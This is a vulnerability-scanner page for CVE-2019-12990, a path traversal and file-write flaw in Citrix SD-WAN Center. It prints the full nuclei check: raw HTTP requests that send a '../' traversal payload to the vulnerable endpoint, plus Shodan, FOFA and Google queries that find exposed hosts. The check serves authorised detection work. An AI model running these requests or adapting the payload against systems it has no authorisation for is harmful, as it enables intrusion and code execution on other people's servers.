Browse / CVEs / CVE-2019-12990
CVE-2019-12990· citrix / netscaler sd-wan· CWE-22
Citrix SD-WAN Center - Local File Inclusion
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
Impact
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
Fix
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
How to confirm it
Send: GET /login ; POST /Collector/appliancesettings/applianceSettingsFileTransfer ; GET /talari/app/files/{{randstr}}
Positive when: contains(header, "text/html") and status_code_3 == 200 and contains(body_1, "<title>Citrix SD-WAN</title>")Run it with nuclei: nuclei -id CVE-2019-12990 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-12990
info:
name: Citrix SD-WAN Center - Local File Inclusion
author: gy741
severity: critical
description: |
Citrix SD-WAN Center is susceptible to local file inclusion via the applianceSettingsFileTransfer function in ApplianceSettingsController. The function does not sufficiently validate or sanitize HTTP request parameter values used to construct a file system path. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for filename, filedata, and workspace_id, therefore being able to write files to locations writable by the www-data user and/or to write a crafted PHP file to /home/talariuser/www/app/webroot/files/ to execute arbitrary PHP code.
impact: |
Successful exploitation of this vulnerability could lead to unauthorized access to sensitive information, remote code execution, or denial of service.
remediation: |
Apply the latest security patches or updates provided by Citrix to mitigate the vulnerability.
reference:
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-12990
cwe-id: CWE-22
epss-score: 0.39335
epss-percentile: 0.98618
cpe: cpe:2.3:a:citrix:netscaler_sd-wan:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: citrix
product: netscaler_sd-wan
shodan-query:
- http.title:"Citrix SD-WAN"
- http.title:"citrix sd-wan"
fofa-query: title="citrix sd-wan"
google-query: intitle:"citrix sd-wan"
tags: cve,cve2019,citrix,rce,unauth,tenable,intrusive,vkev,vuln
http:
- raw:
- |
GET /login HTTP/1.1
Host: {{Hostname}}
- |
POST /Collector/appliancesettings/applianceSettingsFileTransfer HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
filename=../../../../../../home/talariuser/www/app/webroot/files/{{randstr}}&filedata=
- |
GET /talari/app/files/{{randstr}} HTTP/1.1
Host: {{Hostname}}
Accept: */*
matchers:
- type: dsl
dsl:
- contains(header, "text/html")
- status_code_3 == 200
- contains(body_1, "<title>Citrix SD-WAN</title>")
condition: andReferences
- https://www.tenable.com/security/research/tra-2019-31
- https://support.citrix.com/search?searchQuery=*&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
- https://nvd.nist.gov/vuln/detail/CVE-2019-12990
- https://support.citrix.com/search?searchQuery=%2A&lang=en&sort=relevance&prod=&pver=&ct=Security+Bulletin
Use this check only on systems you are authorised to test. Where the data comes from